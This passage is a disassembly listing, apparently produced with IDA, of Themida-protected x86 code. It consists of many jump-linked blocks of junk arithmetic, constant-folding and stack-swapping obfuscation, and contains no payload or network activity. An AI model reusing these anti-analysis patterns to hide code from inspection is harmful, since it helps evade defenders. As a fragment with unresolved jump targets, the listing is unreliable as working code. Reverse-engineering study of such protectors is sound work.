sub dh, 0EEh
pop ebx
or dh, 1Fh
jmp loc_5567EE
; ---------------------------------------------------------------------------
loc_550735: ; CODE XREF: Themida_:00557F8Ej
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], esp
jmp loc_5556B2
; ---------------------------------------------------------------------------
loc_55074D: ; CODE XREF: Themida_:00556D9Aj
pop edx
jmp loc_552B88
; ---------------------------------------------------------------------------
loc_550753: ; CODE XREF: Themida_:00559C88j
mov [esp], eax
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_55075B: ; CODE XREF: Themida_:0054FAA1j
sub edx, 6FCC1DD9h
xor edx, 0FCFECE3Eh
jmp loc_5562AC
; ---------------------------------------------------------------------------
loc_55076C: ; CODE XREF: Themida_:00554E6Aj
pop edx
pop eax
shr bh, 5
xor bh, 4Fh
add al, 9Dh
jmp loc_55059B
; ---------------------------------------------------------------------------
loc_55077B: ; CODE XREF: Themida_:00552639j
mov edi, 2BAD1AECh
shr edi, 2
sub edi, 73FC3EF0h
inc edi
not edi
push esi
mov esi, 96EF07D1h
add edi, esi
jmp loc_553F94
; ---------------------------------------------------------------------------
loc_550799: ; CODE XREF: Themida_:0054FFB1j
xor ah, 0D2h
neg ah
neg ah
add ah, 42h
neg ah
jmp loc_55037F
; ---------------------------------------------------------------------------
loc_5507AA: ; CODE XREF: Themida_:0054ECB6j
push ecx
jmp loc_55361E
; ---------------------------------------------------------------------------
loc_5507B0: ; CODE XREF: Themida_:005530D1j
pop edi
mov edi, [esp]
add esp, 4
jmp loc_557FA8
; ---------------------------------------------------------------------------
loc_5507BC: ; CODE XREF: Themida_:0055399Dj
xchg ebp, [esp]
pop esp
sub eax, ebp
push dword ptr [esp]
pop ebp
jmp loc_559A2D
; ---------------------------------------------------------------------------
loc_5507CB: ; CODE XREF: Themida_:0054ECE7j
and eax, edi
pop edi
push ecx
mov ecx, 912617h
jmp loc_558CBF
; ---------------------------------------------------------------------------
loc_5507D9: ; CODE XREF: Themida_:005519F1j
push ebx
jmp loc_55488E
; ---------------------------------------------------------------------------
loc_5507DF: ; CODE XREF: Themida_:00550302j
sub ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
jmp loc_5524F7
; ---------------------------------------------------------------------------
loc_5507F4: ; CODE XREF: Themida_:005549DBj
push ebp
push dword ptr [esp+4]
jmp loc_557F57
; ---------------------------------------------------------------------------
loc_5507FE: ; CODE XREF: Themida_:0054F386j
mov edi, 71D53A01h
jmp loc_55787E
; ---------------------------------------------------------------------------
loc_550808: ; CODE XREF: Themida_:005542D7j
mov ecx, 23272A4Fh
or ecx, 70265E79h
sub ecx, 3CCF700Fh
shr ecx, 6
xor ecx, 27565C17h
add ecx, 0D870C3D6h
add esi, ecx
pop ecx
add esi, 4
push esi
push dword ptr [esp+4]
jmp loc_552823
; ---------------------------------------------------------------------------
loc_55083B: ; CODE XREF: Themida_:0055292Aj
push 3E84h
mov [esp], ecx
jmp loc_551A76
; ---------------------------------------------------------------------------
loc_550848: ; CODE XREF: Themida_:00552EBCj
pop esi
add edi, 0FD55F2F2h
add ebx, 54A266FBh
sub ebx, edi
sub ebx, 54A266FBh
pop edi
jmp loc_553A4D
; ---------------------------------------------------------------------------
loc_550863: ; CODE XREF: Themida_:00552064j
add esp, 4
xchg ecx, [esp]
jmp loc_554A80
; ---------------------------------------------------------------------------
loc_55086E: ; CODE XREF: Themida_:005557A2j
mov ebx, 78CA05BFh
push edx
mov edx, 3A6867E7h
and edx, 11BE6E86h
dec edx
shr edx, 2
shr edx, 7
sub edx, 0FFDEB37Dh
jmp loc_5580BE
; ---------------------------------------------------------------------------
loc_550891: ; CODE XREF: Themida_:00552A4Cj
mov ecx, [esp]
add esp, 4
mov ebp, edx
pop edx
and ebp, 56CD3289h
shr ebp, 2
not ebp
or ebp, 23271835h
jmp loc_5563C8
; ---------------------------------------------------------------------------
loc_5508B0: ; CODE XREF: Themida_:005572B5j
dec ebp
jmp loc_554B1A
; ---------------------------------------------------------------------------
loc_5508B6: ; CODE XREF: Themida_:00553079j
mov eax, 3E092119h
not eax
jmp loc_555328
; ---------------------------------------------------------------------------
loc_5508C2: ; CODE XREF: Themida_:005584E6j
mov [esp], ebx
xor dword ptr [esp], 67015709h
pop ecx
xor ecx, 67015709h
pop ebx
mov edx, ecx
jmp loc_553BC2
; ---------------------------------------------------------------------------
loc_5508DB: ; CODE XREF: Themida_:00557832j
mov [esp], eax
mov al, 0A5h
jmp loc_55A89F
; ---------------------------------------------------------------------------
loc_5508E5: ; CODE XREF: Themida_:00552381j
push ecx
mov ecx, eax
mov edi, ecx
pop ecx
pop eax
add edi, 502FFA9h
xor eax, edi
pop edi
add esi, 74AC6543h
jmp loc_550CA7
; ---------------------------------------------------------------------------
loc_550900: ; CODE XREF: Themida_:00551A0Bj
push 5871h
mov [esp], edi
mov edi, 47542630h
mov esi, 0B8ABD9D2h
add esi, edi
mov edi, [esp]
add esp, 4
add eax, esi
pop esi
jmp loc_54F16E
; ---------------------------------------------------------------------------
loc_550925: ; CODE XREF: Themida_:0055676Dj
pop ebp
add ebp, 4
push edi
sub esp, 4
jmp loc_5588CB
; ---------------------------------------------------------------------------
loc_550935: ; CODE XREF: Themida_:005516F1j
push dx
mov dl, 95h
sub bl, dl
pop dx
sub bl, 0B4h
jmp loc_557CB2
; ---------------------------------------------------------------------------
loc_550945: ; CODE XREF: Themida_:0055541Cj
add ecx, 4
xchg ecx, [esp]
pop esp
pop ebx
mov [edi+eax*4], ch
jmp loc_5568F3
; ---------------------------------------------------------------------------
loc_550955: ; CODE XREF: Themida_:0055A2A1j
push edi
push esp
pop edi
add edi, 4
push ebp
mov ebp, 46DC6FABh
add ebp, 71BD428Eh
or ebp, 549A7E7Ch
or ebp, 12A2769Eh
push ebx
jmp loc_556FA7
; ---------------------------------------------------------------------------
loc_55097C: ; CODE XREF: Themida_:005566B2j
push eax
mov eax, 4
sub dword ptr [esp+4], 5358215Eh
add dword ptr [esp+4], 4DBC22D9h
add [esp+4], eax
sub dword ptr [esp+4], 4DBC22D9h
add dword ptr [esp+4], 5358215Eh
pop eax
pop edx
jmp loc_54FFF4
; ---------------------------------------------------------------------------
loc_5509AD: ; CODE XREF: Themida_:00553E72j
sub esp, 4
mov [esp], ecx
jmp loc_555624
; ---------------------------------------------------------------------------
loc_5509B8: ; CODE XREF: Themida_:0054ED55j
shl ebp, 1
jmp loc_550688
; ---------------------------------------------------------------------------
loc_5509BF: ; CODE XREF: Themida_:00550D65j
pop eax
xchg ebx, [esp]
jmp loc_558D46
; ---------------------------------------------------------------------------
loc_5509C8: ; CODE XREF: Themida_:005569C6j
add esp, 4
pop ebx
jmp loc_553C79
; ---------------------------------------------------------------------------
loc_5509D1: ; CODE XREF: Themida_:00553437j
pop ebx
jmp loc_555EA4
; ---------------------------------------------------------------------------
loc_5509D7: ; CODE XREF: Themida_:0055495Bj
xchg ebp, [esp]
pop esp
mov ecx, [esp]
sub esp, 4
mov [esp], esi
mov esi, esp
add esi, 4
push ebp
mov ebp, 55C06E8Dh
not ebp
add ebp, 52E8161Ch
add ebp, 2D85876h
jmp loc_552E77
; ---------------------------------------------------------------------------
loc_550A08: ; CODE XREF: Themida_:00559B93j
pop ecx
push ecx
jmp loc_5584EB
; ---------------------------------------------------------------------------
loc_550A0F: ; CODE XREF: Themida_:0055B1E2j
sub esp, 2
mov [esp], bx
push eax
mov ah, 0F1h
inc ah
sub ah, 83h
sub ah, 0B7h
jmp loc_5562E2
; ---------------------------------------------------------------------------
loc_550A29: ; CODE XREF: Themida_:00554340j
xor [esp], edx
xor edx, [esp]
jmp loc_5515FB
; ---------------------------------------------------------------------------
loc_550A34: ; CODE XREF: Themida_:0054FF0Bj
shr dh, 3
jmp loc_55161A
; ---------------------------------------------------------------------------
loc_550A3C: ; CODE XREF: Themida_:00557A72j
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_550A41: ; CODE XREF: Themida_:00556BF4j
add edi, 21637654h
push esi
mov esi, 72F00A32h
add edi, esi
pop esi
pop eax
xchg edi, [esp]
pop esp
mov ax, [esp]
jmp loc_550AA8
; ---------------------------------------------------------------------------
loc_550A5E: ; CODE XREF: Themida_:00556FFAj
mov [esp], edi
mov edi, 925472Dh
jmp loc_5578D7
; ---------------------------------------------------------------------------
loc_550A6B: ; CODE XREF: Themida_:0055180Ej
push dword ptr [esp]
pop eax
push ebp
jmp loc_5504C7
; ---------------------------------------------------------------------------
loc_550A75: ; CODE XREF: Themida_:00559D71j
pop ebp
jmp loc_5549CF
; ---------------------------------------------------------------------------
loc_550A7B: ; CODE XREF: Themida_:00559657j
add edx, ebx
pop ebx
pop ebx
push esi
jmp loc_55631B
; ---------------------------------------------------------------------------
loc_550A85: ; CODE XREF: Themida_:00552CEAj
shl ecx, 3
push ebp
mov ebp, 459A4FB6h
jmp loc_554379
; ---------------------------------------------------------------------------
loc_550A93: ; CODE XREF: Themida_:00558276j
not ebp
dec ebp
jmp loc_552450
; ---------------------------------------------------------------------------
loc_550A9B: ; CODE XREF: Themida_:00559114j
push 161h
mov [esp], esp
jmp loc_558EBB
; ---------------------------------------------------------------------------
loc_550AA8: ; CODE XREF: Themida_:00550A59j
push 5691h
mov [esp], eax
mov eax, esp
jmp loc_55490F
; ---------------------------------------------------------------------------
loc_550AB7: ; CODE XREF: Themida_:0054F300j
push esi
mov esi, 557207E4h
add ecx, esi
pop esi
pop eax
push 5300h
jmp loc_5576DE
; ---------------------------------------------------------------------------
loc_550ACB: ; CODE XREF: Themida_:005544CBj
push 5F79h
mov [esp], ebx
mov ebx, 2000000h
and eax, ebx
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
push esi
jmp loc_54FBFD
; ---------------------------------------------------------------------------
loc_550AEC: ; CODE XREF: Themida_:00554269j
pop esi
add [esp+4], ebp
jmp loc_552CAD
; ---------------------------------------------------------------------------
loc_550AF6: ; CODE XREF: Themida_:005501D0j
push 4AF4h
mov [esp], eax
mov eax, esp
push ebp
mov ebp, 4
jmp loc_5542DC
; ---------------------------------------------------------------------------
loc_550B0B: ; CODE XREF: Themida_:0055A530j
mov edi, ecx
mov eax, edi
mov edi, [esp]
add esp, 4
pop ecx
sub edx, 79260A5Ah
add edx, eax
push 54C7h
mov [esp], eax
mov eax, 79260A5Ah
add edx, eax
jmp loc_550465
; ---------------------------------------------------------------------------
loc_550B32: ; CODE XREF: Themida_:00555BC1j
neg esi
shl esi, 4
sub esp, 4
mov [esp], eax
mov eax, 53FC5FE3h
neg eax
push esi
jmp loc_559343
; ---------------------------------------------------------------------------
loc_550B4D: ; CODE XREF: Themida_:00554B96j
push ebp
mov ebp, 7B445011h
xor [esp+4], ebp
pop ebp
mov eax, [esp]
add esp, 4
xor eax, 7B445011h
jmp loc_55A1EE
; ---------------------------------------------------------------------------
loc_550B68: ; CODE XREF: Themida_:005551E8j
mov esp, [esp]
push dword ptr [esp]
pop edx
push ecx
mov ecx, esp
jmp loc_54F4E4
; ---------------------------------------------------------------------------
loc_550B77: ; CODE XREF: Themida_:0055802Fj
add dword ptr [esp], 0FFFFFFFFh
not dword ptr [esp]
pop esi
jmp loc_5516BF
; ---------------------------------------------------------------------------
loc_550B84: ; CODE XREF: Themida_:00555F32j
push ecx
mov ecx, 4
add [esp+4], ecx
pop ecx
pop edx
add edx, 4
push ecx
mov ecx, 1996063Ah
push ebx
mov ebx, 38666B22h
inc ebx
xor ebx, 5AFF16D4h
sub ebx, 382A3DFAh
xor ebx, 69E716Ch
xor ecx, ebx
jmp loc_557DEE
; ---------------------------------------------------------------------------
loc_550BBC: ; CODE XREF: Themida_:0054F133j
pop esp
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_550BC9: ; CODE XREF: Themida_:005569DBj
pop edx
sub edi, 7FC0B3Ch
add edi, edx
add edi, 7FC0B3Ch
add edi, 7209B2h
pop edx
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5599A5
; ---------------------------------------------------------------------------
loc_550BF0: ; CODE XREF: Themida_:00553FA2j
push 1298h
mov [esp], edx
mov edx, 100h
and eax, edx
jmp loc_54FEF1
; ---------------------------------------------------------------------------
loc_550C04: ; CODE XREF: Themida_:00551ECDj
pop ebx
push ebx
push 4C7Ch
jmp loc_5572D3
; ---------------------------------------------------------------------------
loc_550C10: ; CODE XREF: Themida_:0054F86Ej
sub al, 0DFh
pop ecx
push bx
push eax
mov al, 66h
dec al
jmp loc_55102C
; ---------------------------------------------------------------------------
loc_550C1F: ; CODE XREF: Themida_:00558189j
push ebp
mov ebp, 6E2C3696h
sub edi, ebp
pop ebp
or edi, 1DBB20A1h
xor edi, 0DFBB2CB5h
sub ecx, edi
pop edi
xchg ecx, [esp]
pop esp
mov [esp], esi
mov esi, esp
push 13B2h
mov [esp], eax
push 4
pop eax
sub esi, 6DF33771h
jmp loc_54EB10
; ---------------------------------------------------------------------------
loc_550C59: ; CODE XREF: Themida_:00555E4Ej
sub esp, 4
mov [esp], eax
mov eax, 72976483h
dec eax
neg eax
shr eax, 8
jmp loc_55AE68
; ---------------------------------------------------------------------------
loc_550C72: ; CODE XREF: Themida_:00558E72j
mov eax, 5EFB49EEh
sub esp, 4
mov [esp], ebp
mov ebp, 2E835326h
push 3FEDh
mov [esp], eax
mov eax, 463312h
xor ebp, eax
pop eax
push edi
mov edi, 58623D23h
sub ebp, edi
pop edi
push ebp
not dword ptr [esp]
jmp loc_54FBD6
; ---------------------------------------------------------------------------
loc_550CA7: ; CODE XREF: Themida_:005508FBj
add esi, eax
sub esi, 74AC6543h
pop eax
sub esi, 611F5058h
add esi, eax
add esi, 611F5058h
sub esi, 5740274Ch
push ecx
mov ecx, esp
add ecx, 4
push ebp
mov ebp, 4
sub ecx, ebp
pop ebp
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_559402
; ---------------------------------------------------------------------------
loc_550CE4: ; CODE XREF: Themida_:00554EA2j
add bl, al
push edx
mov dl, 0BAh
jmp loc_55323B
; ---------------------------------------------------------------------------
loc_550CEE: ; CODE XREF: Themida_:005527D9j
or edx, 794E6E25h
xor edx, 797D6F67h
mov edi, edx
mov edx, [esp]
push edi
jmp loc_557646
; ---------------------------------------------------------------------------
loc_550D05: ; CODE XREF: Themida_:0055190Fj
add edx, 0DE763DC7h
mov ebx, edx
jmp loc_556043
; ---------------------------------------------------------------------------
loc_550D12: ; CODE XREF: Themida_:0055653Fj
push esi
push eax
push ebx
push ebp
push 5E69690Ah
jmp loc_552567
; ---------------------------------------------------------------------------
loc_550D20: ; CODE XREF: Themida_:005583DAj
sub esi, 33FB2851h
add esi, ebp
add esi, 33FB2851h
add esi, 298E6B2Eh
pop ebp
sub esi, 2
xor esi, [esp]
jmp loc_550358
; ---------------------------------------------------------------------------
loc_550D40: ; CODE XREF: Themida_:005534F6j
add esp, 4
push ebx
push edi
sub esp, 4
mov [esp], ebx
mov ebx, 45B464A5h
mov edi, ebx
jmp loc_5555AC
; ---------------------------------------------------------------------------
loc_550D5A: ; CODE XREF: Themida_:0055103Bj
sub al, bh
pop ebx
jmp loc_55B026
; ---------------------------------------------------------------------------
loc_550D62: ; CODE XREF: Themida_:005510AFj
pop ecx
sub ebx, eax
jmp loc_5509BF
; ---------------------------------------------------------------------------
loc_550D6A: ; CODE XREF: Themida_:0055A224j
add edx, esi
mov esi, [esp]
add esp, 4
jmp loc_554AC6
; ---------------------------------------------------------------------------
loc_550D7A: ; CODE XREF: Themida_:0055A0A3j
xor edx, 0EA7EDC9Dh
mov eax, edx
pop edx
dec eax
and eax, 300729A9h
jmp loc_5596E2
; ---------------------------------------------------------------------------
loc_550D8E: ; CODE XREF: Themida_:0055A5A8j
add esp, 4
jmp loc_551D98
; ---------------------------------------------------------------------------
loc_550D96: ; CODE XREF: Themida_:00553C51j
add al, 0C1h
xor al, 0D8h
mov bl, al
pop eax
sub al, 8Eh
add al, bl
push ecx
jmp loc_558AD9
; ---------------------------------------------------------------------------
loc_550DA7: ; CODE XREF: Themida_:00552D2Fj
push eax
mov ah, 9Eh
or ah, 0DAh
inc ah
sub ah, 6Dh
dec ah
neg ah
add ah, 6Bh
mov cl, ah
mov eax, [esp]
add esp, 4
push edx
mov dh, 66h
sub al, 0CEh
sub al, dh
push ebx
mov bl, 0DAh
or bl, 86h
shl bl, 1
neg bl
sub bl, 0FFh
jmp loc_54FF22
; ---------------------------------------------------------------------------
loc_550DDA: ; CODE XREF: Themida_:005530EAj
mov [esp], ebx
mov ebx, esp
push esi
mov esi, 17135A08h
push edx
mov edx, 17135A04h
sub esi, edx
pop edx
add ebx, esi
pop esi
push 254Eh
mov [esp], edx
push esi
mov esi, 0D263D12h
sub esi, 35383EE5h
xor esi, 0D943D2Dh
xor esi, 5C4E7CC6h
xor esi, 708256E3h
and esi, 50DB7B2Ch
xor esi, 674030DCh
mov edx, esi
pop esi
push ebx
mov ebx, 0DF745FAh
jmp loc_54F6A1
; ---------------------------------------------------------------------------
loc_550E31: ; CODE XREF: Themida_:0055A89Aj
push esi
push ebx
mov ebx, 565E3630h
not ebx
or ebx, 4BF95B3Ah
shl ebx, 1
sub ebx, 0C9807FD9h
jmp loc_55128D
; ---------------------------------------------------------------------------
loc_550E4D: ; CODE XREF: Themida_:00558B46j
add esp, 4
add edx, 4
jmp loc_5593AD
; ---------------------------------------------------------------------------
loc_550E5B: ; CODE XREF: Themida_:0054EAD9j
xor [esp], ebx
xor ebx, [esp]
jmp loc_559C85
; ---------------------------------------------------------------------------
loc_550E66: ; CODE XREF: Themida_:0054FD79j
shl dh, 5
jmp loc_54EC8F
; ---------------------------------------------------------------------------
loc_550E6E: ; CODE XREF: Themida_:00552975j
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
or edx, eax
jmp loc_5555B4
; ---------------------------------------------------------------------------
db 89h, 2 dup(24h)
; ---------------------------------------------------------------------------
add dword ptr [esp], 4
mov edx, [esp]
jmp loc_55762F
; ---------------------------------------------------------------------------
loc_550E94: ; CODE XREF: Themida_:00558DF5j
add esi, 4
sub esi, 4
xchg esi, [esp]
mov esp, [esp]
mov [esp], ebp
jmp loc_55145C
; ---------------------------------------------------------------------------
loc_550EAE: ; CODE XREF: Themida_:00557754j
push 2EF2h
mov [esp], esi
mov esi, esp
push edi
jmp loc_54F63B
; ---------------------------------------------------------------------------
loc_550EBE: ; CODE XREF: Themida_:00554AD2j
pop dword ptr [esp]
jmp loc_5571B1
; ---------------------------------------------------------------------------
loc_550EC6: ; CODE XREF: Themida_:00554CCFj
xor eax, 5D081690h
xor eax, 0D02139F0h
xor esi, eax
jmp loc_5559E5
; ---------------------------------------------------------------------------
loc_550ED7: ; CODE XREF: Themida_:005510F0j
pop ebx
add ebp, ecx
jmp loc_554FA1
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
adc [esp], al
pushf
jmp loc_54EE69
; ---------------------------------------------------------------------------
loc_550EEE: ; CODE XREF: Themida_:0054F511j
push edx
mov edx, esp
push esi
jmp loc_5556FF
; ---------------------------------------------------------------------------
loc_550EF7: ; CODE XREF: Themida_:005567CCj
push dword ptr [esp+4]
mov eax, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
sub [esp], al
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_550F0E: ; CODE XREF: Themida_:00550064j
xor esi, [esp]
jmp loc_556ABC
; ---------------------------------------------------------------------------
loc_550F16: ; CODE XREF: Themida_:00551C7Cj
sub esp, 4
mov [esp], edi
mov edi, esp
sub esp, 4
mov [esp], ecx
mov ecx, 340804BAh
push eax
mov eax, 6D795850h
or ecx, eax
pop eax
xor ecx, 7D795CFEh
add edi, ecx
mov ecx, [esp]
add esp, 4
jmp loc_55697C
; ---------------------------------------------------------------------------
loc_550F4B: ; CODE XREF: Themida_:0055448Bj
pop ebp
push ecx
mov ecx, 40E748F6h
jmp loc_558A78
; ---------------------------------------------------------------------------
loc_550F57: ; CODE XREF: Themida_:005572C0j
push edx
mov edx, 4495F55Ch
add ecx, edx
jmp loc_555684
; ---------------------------------------------------------------------------
loc_550F64: ; CODE XREF: Themida_:0055476Dj
pop dword ptr [esp]
push ebp
mov ebp, 4
add [esp+4], ebp
pop ebp
pop ebp
push esi
mov esi, 4
jmp loc_55466D
; ---------------------------------------------------------------------------
loc_550F7E: ; CODE XREF: Themida_:005551CEj
push dword ptr [esp]
pop eax
add esp, 4
push eax
jmp loc_552098
; ---------------------------------------------------------------------------
loc_550F8E: ; CODE XREF: Themida_:00559EACj
push ecx
mov ecx, esp
add ecx, 4
jmp loc_55191F
; ---------------------------------------------------------------------------
loc_550F9C: ; CODE XREF: Themida_:00551C73j
pop eax
jmp loc_558EC7
; ---------------------------------------------------------------------------
loc_550FA2: ; CODE XREF: Themida_:005500E4j
xor ebp, [esp]
mov esp, [esp]
jmp loc_557D8C
; ---------------------------------------------------------------------------
loc_550FAD: ; CODE XREF: Themida_:00559C01j
push dword ptr [esp+4]
push dword ptr [esp]
jmp loc_54ECF6
; ---------------------------------------------------------------------------
loc_550FB9: ; CODE XREF: Themida_:005506F6j
mov edx, 8F15C0CBh
jmp loc_558247
; ---------------------------------------------------------------------------
loc_550FC3: ; CODE XREF: Themida_:00555E5Fj
xor edx, 59F00EFAh
add ebx, edx
pop edx
add ebx, edx
jmp loc_5544E6
; ---------------------------------------------------------------------------
loc_550FD3: ; CODE XREF: Themida_:00553BA0j
add eax, ecx
jmp loc_55A380
; ---------------------------------------------------------------------------
loc_550FDA: ; CODE XREF: Themida_:005503CAj
mov cl, bl
mov dl, cl
pop ecx
pop ebx
jmp loc_557300
; ---------------------------------------------------------------------------
loc_550FE5: ; CODE XREF: Themida_:0054F555j
and dl, 96h
sub dl, 1
xor dl, 0A5h
add bl, 13h
jmp loc_559F39
; ---------------------------------------------------------------------------
loc_550FF6: ; CODE XREF: Themida_:00558172j
add esi, 2
jmp loc_551725
; ---------------------------------------------------------------------------
loc_550FFE: ; CODE XREF: Themida_:0055A667j
sub ebp, ebx
jmp loc_55AD12
; ---------------------------------------------------------------------------
loc_551005: ; CODE XREF: Themida_:005595BEj
sub eax, ecx
pop ecx
add ebx, 752845A5h
add ebx, 10DA5FB2h
jmp loc_5547CC
; ---------------------------------------------------------------------------
push 2C12h
mov [esp], edx
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_551026: ; CODE XREF: Themida_:0054FC81j
push ecx
jmp loc_553505
; ---------------------------------------------------------------------------
loc_55102C: ; CODE XREF: Themida_:00550C1Aj
sub esp, 4
mov [esp], ebx
mov bh, 3Bh
inc bh
neg bh
add bh, 0B5h
jmp loc_550D5A
; ---------------------------------------------------------------------------
loc_551040: ; CODE XREF: Themida_:00553752j
push esi
jmp loc_54EC83
; ---------------------------------------------------------------------------
loc_551046: ; CODE XREF: Themida_:005524BEj
add cl, 10h
sub al, cl
mov cx, [esp]
sub esp, 4
jmp loc_558A52
; ---------------------------------------------------------------------------
loc_55105A: ; CODE XREF: Themida_:005501EBj
mov [esp], edi
push ebx
jmp loc_5541C5
; ---------------------------------------------------------------------------
loc_551063: ; CODE XREF: Themida_:00559B86j
add ecx, 2
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
movsx cx, al
push 3D61h
mov [esp], eax
mov eax, esp
sub esp, 4
mov [esp], edi
mov edi, 4
add eax, edi
pop edi
sub eax, 4
xchg eax, [esp]
pop esp
jmp loc_5563BE
; ---------------------------------------------------------------------------
loc_5510A2: ; CODE XREF: Themida_:005579FAj
add esp, 4
jmp loc_55AB74
; ---------------------------------------------------------------------------
loc_5510AD: ; CODE XREF: Themida_:0055B1DBj
xor eax, ecx
jmp loc_550D62
; ---------------------------------------------------------------------------
loc_5510B4: ; CODE XREF: Themida_:00553603j
push ebp
mov ebp, 56270A02h
mov eax, ebp
pop ebp
push edi
mov edi, 5746481h
neg edi
add edi, 41027348h
shr edi, 8
jmp loc_54FB86
; ---------------------------------------------------------------------------
loc_5510D3: ; CODE XREF: Themida_:00550621j
xor esi, [esp]
pop esp
mov [esp], edx
push 6E04h
jmp loc_55723D
; ---------------------------------------------------------------------------
loc_5510E4: ; CODE XREF: Themida_:00558431j
xor eax, 4EF35C18h
jmp loc_5562CB
; ---------------------------------------------------------------------------
loc_5510EE: ; CODE XREF: Themida_:0054FEC9j
mov ecx, ebx
jmp loc_550ED7
; ---------------------------------------------------------------------------
loc_5510F5: ; CODE XREF: Themida_:0054FF4Bj
push ecx
mov cl, 88h
mov bh, cl
pop ecx
shl bh, 4
add bh, 49h
add cl, 3
add cl, bh
sub cl, 3
pop ebx
sub bl, 0A3h
push cx
jmp loc_5503E1
; ---------------------------------------------------------------------------
loc_551114: ; CODE XREF: Themida_:005562FEj
mov ebp, 4
add eax, ebp
pop ebp
push 368Bh
mov [esp], edi
jmp loc_559A7F
; ---------------------------------------------------------------------------
loc_551129: ; CODE XREF: Themida_:0055140Aj
mov [esp], ecx
push 308Bh
mov [esp], ebx
pop ecx
sub esp, 4
mov [esp], ebx
push ecx
sub dword ptr [esp], 8333429h
pop ebx
add ebx, 8333429h
push ebx
add dword ptr [esp], 60250E81h
pop eax
push ebx
mov ebx, 4D817608h
jmp loc_555028
; ---------------------------------------------------------------------------
loc_55115E: ; CODE XREF: Themida_:0055993Cj
add esp, 4
push dx
push eax
mov al, 1Ch
and al, 8Dh
xor al, 29h
xor al, 5Ah
push 3E2Dh
mov [esp], ebx
jmp loc_556330
; ---------------------------------------------------------------------------
loc_55117C: ; CODE XREF: Themida_:0054FB1Aj
pop edx
mov ebx, edi
jmp loc_5522BF
; ---------------------------------------------------------------------------
loc_551184: ; CODE XREF: Themida_:0055A43Bj
sub eax, 28E02D7Ah
jmp loc_55A7F6
; ---------------------------------------------------------------------------
loc_55118E: ; CODE XREF: Themida_:0055A83Cj
pop ebx
add ecx, 2
push ecx
push dword ptr [esp+4]
mov ecx, [esp]
push ebx
mov ebx, esp
push esi
mov esi, 54BB7EE1h
add esi, 0AB448123h
jmp loc_55229D
; ---------------------------------------------------------------------------
loc_5511AE: ; CODE XREF: Themida_:00557A01j
sub ecx, 60796226h
pop ebp
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_552510
; ---------------------------------------------------------------------------
push dword ptr [edi+38h]
push edx
push edi
jmp loc_5591F4
; ---------------------------------------------------------------------------
loc_5511CD: ; CODE XREF: Themida_:00553F03j
mov ch, ah
mov eax, [esp]
add esp, 4
add ch, 0C8h
sub ch, dl
sub ch, 0C8h
pop edx
add al, ch
pop ecx
push dx
mov dl, 6Eh
push eax
mov al, 0Ah
or dl, al
pop eax
xor dl, 4Dh
neg dl
inc dl
sub dl, 0A0h
sub al, 68h
add al, dl
sub esp, 4
mov [esp], ebx
mov bl, 68h
add al, 0Dh
add al, bl
sub al, 0Dh
pop ebx
mov dx, [esp]
push ecx
push esp
pop ecx
add ecx, 4
add ecx, 2
sub esp, 4
jmp loc_557507
; ---------------------------------------------------------------------------
loc_551229: ; CODE XREF: Themida_:005516AEj
add edi, 12D562D9h
pop ebx
jmp loc_5524E4
; ---------------------------------------------------------------------------
loc_551235: ; CODE XREF: Themida_:00554BAAj
push esi
mov esi, esp
add esi, 4
jmp loc_5503CF
; ---------------------------------------------------------------------------
loc_551243: ; CODE XREF: Themida_:00553F59j
pop esp
shl byte ptr [esp], cl
pushf
jmp loc_553575
; ---------------------------------------------------------------------------
loc_55124D: ; CODE XREF: Themida_:00552A6Bj
add ebx, edi
pop edi
add esi, ebx
pop ebx
push ebx
mov ebx, 4
sub esi, ebx
pop ebx
push esi
push dword ptr [esp+4]
jmp loc_55393D
; ---------------------------------------------------------------------------
loc_551266: ; CODE XREF: Themida_:00551DD5j
mov esp, [esp]
jmp loc_554A97
; ---------------------------------------------------------------------------
loc_55126E: ; CODE XREF: Themida_:0055156Fj
pop ebx
add edi, ebp
mov ebp, [esp]
push edx
push esp
pop edx
add edx, 4
jmp loc_5594A2
; ---------------------------------------------------------------------------
loc_551282: ; CODE XREF: Themida_:0055B1BCj
push esi
mov esi, esp
sub esp, 4
jmp loc_550321
; ---------------------------------------------------------------------------
loc_55128D: ; CODE XREF: Themida_:00550E48j
mov esi, ebx
pop ebx
mov edi, esi
jmp loc_54F041
; ---------------------------------------------------------------------------
loc_551297: ; CODE XREF: Themida_:00551BB8j
pop esp
jmp loc_54F506
; ---------------------------------------------------------------------------
loc_55129D: ; CODE XREF: Themida_:0054F1FCj
push edi
mov edi, 395256D5h
jmp loc_55801D
; ---------------------------------------------------------------------------
loc_5512A8: ; CODE XREF: Themida_:00558E0Aj
mov ebx, [esp]
add esp, 4
push 7CAFh
mov [esp], eax
mov ah, 0CCh
sub dl, ah
pop eax
add al, dl
pop dx
push small 550Dh
jmp loc_54EF74
; ---------------------------------------------------------------------------
loc_5512C8: ; CODE XREF: Themida_:00556824j
add edi, esi
pop esi
or edi, 60D2725Eh
shr edi, 8
push esi
mov esi, 1B1133A9h
sub esi, 1C012E9Fh
jmp loc_55562C
; ---------------------------------------------------------------------------
loc_5512E5: ; CODE XREF: Themida_:00556FA2j
push ecx
mov ecx, 320E3352h
xor ecx, 651D3E4Eh
or ecx, 355D55D0h
jmp loc_5570C2
; ---------------------------------------------------------------------------
loc_5512FC: ; CODE XREF: Themida_:005546BCj
mov [esp], ebx
jmp loc_553DAE
; ---------------------------------------------------------------------------
loc_551304: ; CODE XREF: Themida_:005526F8j
mov ecx, 782B3B63h
shr ecx, 5
push ebx
mov ebx, 2C7B6146h
and ebx, 3C212254h
